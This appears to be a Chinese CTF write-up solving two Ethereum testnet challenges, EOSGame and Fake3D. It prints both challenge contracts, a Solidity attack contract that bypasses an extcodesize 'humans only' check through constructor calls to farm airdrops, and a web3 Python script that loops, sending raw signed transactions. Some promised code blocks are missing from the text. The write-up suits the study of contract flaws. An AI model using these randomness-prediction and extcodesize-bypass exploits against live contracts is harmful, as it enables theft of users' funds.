近来各大ctf中,纷纷冒出了一个新题型——Blockchain,从HCTF开始到BCTF,作为一只web狗,还是要紧跟时代学习一下(毕竟web狗啥都要学),今天我们就来详细讨论一下这两题的解法,以及用到的知识点。
EOSGame
题目地址为:This contract is at 0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F in Ropsten network.
这题是给了合约代码的,先贴一下合约代码:
contract EOSToken{
using SafeMath for uint256;
string TokenName = "EOS";
uint256 totalSupply = 100**18;
address owner;
mapping(address => uint256) balances;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public{
owner = msg.sender;
balances[owner] = totalSupply;
}
function mint(address _to,uint256 _amount) public onlyOwner {
require(_amount < totalSupply);
totalSupply = totalSupply.sub(_amount);
balances[_to] = balances[_to].add(_amount);
}
function transfer(address _from, address _to, uint256 _amount) public onlyOwner {
require(_amount < balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
}
function eosOf(address _who) public constant returns(uint256){
return balances[_who];
}
}
contract EOSGame{
using SafeMath for uint256;
mapping(address => uint256) public bet_count;
uint256 FUND = 100;
uint256 MOD_NUM = 20;
uint256 POWER = 100;
uint256 SMALL_CHIP = 1;
uint256 BIG_CHIP = 20;
EOSToken eos;
event FLAG(string b64email, string slogan);
constructor() public{
eos=new EOSToken();
}
function initFund() public{
if(bet_count[tx.origin] == 0){
bet_count[tx.origin] = 1;
eos.mint(tx.origin, FUND);
}
}
function bet(uint256 chip) internal {
bet_count[tx.origin] = bet_count[tx.origin].add(1);
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp)));
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed)));
uint256 shark = seed_hash % MOD_NUM;
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(bet_count[tx.origin])));
uint256 lucky = lucky_hash % MOD_NUM;
if (shark == lucky){
eos.transfer(address(this), tx.origin, chip.mul(POWER));
}
}
function smallBlind() public {
eos.transfer(tx.origin, address(this), SMALL_CHIP);
bet(SMALL_CHIP);
}
function bigBlind() public {
eos.transfer(tx.origin, address(this), BIG_CHIP);
bet(BIG_CHIP);
}
function eosBlanceOf() public view returns(uint256) {
return eos.eosOf(tx.origin);
}
function CaptureTheFlag(string b64email) public{
require (eos.eosOf(tx.origin) > 18888);
emit FLAG(b64email, "Congratulations to capture the flag!");
}
}
如果你看不懂?没关系,我准备了,在互联网上找了个不错的视频教程,就无偿奉献给大家了。戳这里 提取码是:uh7p 。
合约内容解析
下面我们先来大体看一下合约的内容:
首先第一个合约是写了一个token,EOSToken,可以理解为一种游戏币(毕竟ctf就是一场游戏,23333)
然后两个合约都使用了这么一句:
using SafeMath for uint256;
这里主要是为了防止溢出的,溢出?没错,在智能合约中,如果没有对某些数据类型进行限制,确实会导致溢出,这也导致了很多攻击的产生。详细分析戳这里
然后我们先看看怎么才能获取flag,很容易找到限制条件:
require (eos.eosOf(tx.origin) > 18888);
只要我们的EOSToken是大于18888的,就能成功获得flag了。
然后我们来看这个game的具体逻辑:
这个函数是如果你第一次玩这个游戏,会给你发放100个token。
下面到了整个游戏的关键函数bet:
这是一个赌钱函数,首先会生成一个随机数,然后用你当前账户的赌博次数在生成一个随机数,同时对20取余,如果两个余数相等,那么会给你你赌资的100倍奖励,这里就涉及到了我们本题的考点了,solidity智能合约随机数预测,有关科普戳这里 。
我理解为 如果生成随机数使用的种子使用的是有关当前区块的有关信息,那就是可以预测的,因为如果使用合约调用合约,那两个交易会被打包在一个区块内,那生成种子的所有信息,攻击合约都可以获得,攻击合约可以利用这些信息,生成完全一样的随机数。
接下来,两个函数,分别是小赌和大赌,赌资分别是1 和 20。
理清攻击流程
那么很显然,我们的攻击流程可以归结如下:
编写攻击合约
合约如下:
差不多每次调用获取的收益在 20*100 左右,手动调用几次就能获取flag
获取flag
当你的余额足够了以后,调用当前合约的flag函数,将邮箱的base64作为参数传入,即可获取flag邮件
Fake3D
合约地址:This game is at 0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a in Ropsten network.
贴一下合约代码:
contract WinnerList{
address public owner;
struct Richman{
address who;
uint balance;
}
function note(address _addr, uint _value) public{
Richman rm;
rm.who = _addr;
rm.balance = _value;
}
}
contract Fake3D {
using SafeMath for *;
mapping(address => uint256) public balance;
uint public totalSupply = 10**18;
WinnerList wlist;
event FLAG(string b64email, string slogan);
constructor(address _addr) public{
wlist = WinnerList(_addr);
}
modifier turingTest() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
function transfer(address _to, uint256 _amount) public{
require(balance[msg.sender] >= _amount);
balance[msg.sender] = balance[msg.sender].sub(_amount);
balance[_to] = balance[_to].add(_amount);
}
function airDrop() public turingTest returns (bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < 288){
balance[tx.origin] = balance[tx.origin].add(10);
totalSupply = totalSupply.sub(10);
return true;
}
else
return false;
}
function CaptureTheFlag(string b64email) public{
require (balance[msg.sender] > 8888);
wlist.note(msg.sender,balance[msg.sender]);
emit FLAG(b64email, "Congratulations to capture the flag?");
}
}
浏览一遍,发现是一个很明显的薅羊毛的游戏,但是这里有个判断:
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
于是搜索到了一篇文章,文章地址
文章中说到,当一个合约在执行构造函数的时候,其extcodesize也为0 ,所以首先写出薅羊毛合约。
攻击合约
这里就借用 r3kapig 队伍写的来测试:
contract father {
function father() payable {}
Son son;
function attack(uint256 times) public {
for(uint i=0;i<times;i++){
son = new Son();
}
}
function () payable {
}
}
contract Son {
function Son() payable {
Fake3D f3d;
f3d=Fake3D(0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a);
f3d.airDrop();
if (f3d.balance(this)>=10)
{
f3d.transfer(0x357ec8b9f62e8a3ca819eebd49a793045b8b1e91,10);
}
selfdestruct(0x357ec8b9f62e8a3ca819eebd49a793045b8b1e91);
}
function () payable{
}
}
这样调用 attack(150) 一次,大概可以得到400的收益,调用20次左右即可达到要求。
可以通过写脚本,来不断调用这个方法,脚本如下:
但是在达到要求之后,在调用getflag的过程中遇到了问题,总是调用失败。
继续探索
于是想到了可能 合约WinnerList 给出的代码不准确,于是调用脚本去读取整整WinnerList 合约的地址:
得到了WinnerList 的实际地址为:0xd229628fd201a391cf0c4ae6169133c1ed93d00a
于是反编译:https://ethervm.io/decompile?address=0xd229628fd201a391cf0c4ae6169133c1ed93d00a&network=ropsten
在反编译的函数中发现了一个关键判断:
总结一下就是调用的地址最后两位必须是43 或者倒数三四位必须是b1 。
这里使用工具爆破一下,得到合法的地址:
获取flag
我们先将token 通过tranfer方法交易给满足条件的账户,然后再调用flag函数:
即可完成整个的交易,获取flag。
脚本如下:
from web3 import Web3
import sha3
my_ipc = Web3.HTTPProvider("https://ropsten.infura.io/v3/2b86c426683f4a6095fd175fe931d799")
assert my_ipc.isConnected()
runweb3 = Web3(my_ipc)
myaccount = "your account"
private = "your private key"
constract = "0x4082cC8839242Ff5ee9c67f6D05C4e497f63361a"
transaction_dict1 = {
'from':Web3.toChecksumAddress(myaccount),
'to':constract,
'gasPrice':10000000000,
'gas':3000000,
'nonce': None,
'value':0,
'data':
"0xa9059cbb000000000000000000000000c918033c74054a190ed8004fdadf1b53f04a05430000000000000000000000000000000000000000000000000000000000002328"
} # 原来账户转账给爆破出的账户 tranfer
transaction_dict = {
'from':Web3.toChecksumAddress(myaccount),
'to':constract,
'gasPrice':10000000000,
'gas':3000000,
'nonce': None,
'value':0,
'data':
"0x9590729100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000021205933567464486831616d6c68596d6c755147647459576c734c6d4e7662513d3d00000000000000000000000000000000000000000000000000000000000000"
} # 满足要求的账户调用flag函数
def init():
myNonce = runweb3.eth.getTransactionCount(Web3.toChecksumAddress(myaccount))
print(myNonce)
transaction_dict["nonce"] = myNonce
r = runweb3.eth.account.signTransaction(transaction_dict, private)
try:
runweb3.eth.sendRawTransaction(r.rawTransaction.hex())
except:
pass
if __name__ == '__main__':
while True:
init()
后记
作为一只刚入门这个方向的半小白,从一无所知花了几天时间慢慢了解了这些东西,觉得做这些题目还挺有意思的,当然可能有很多笨拙的地方,还请大佬们多多指教。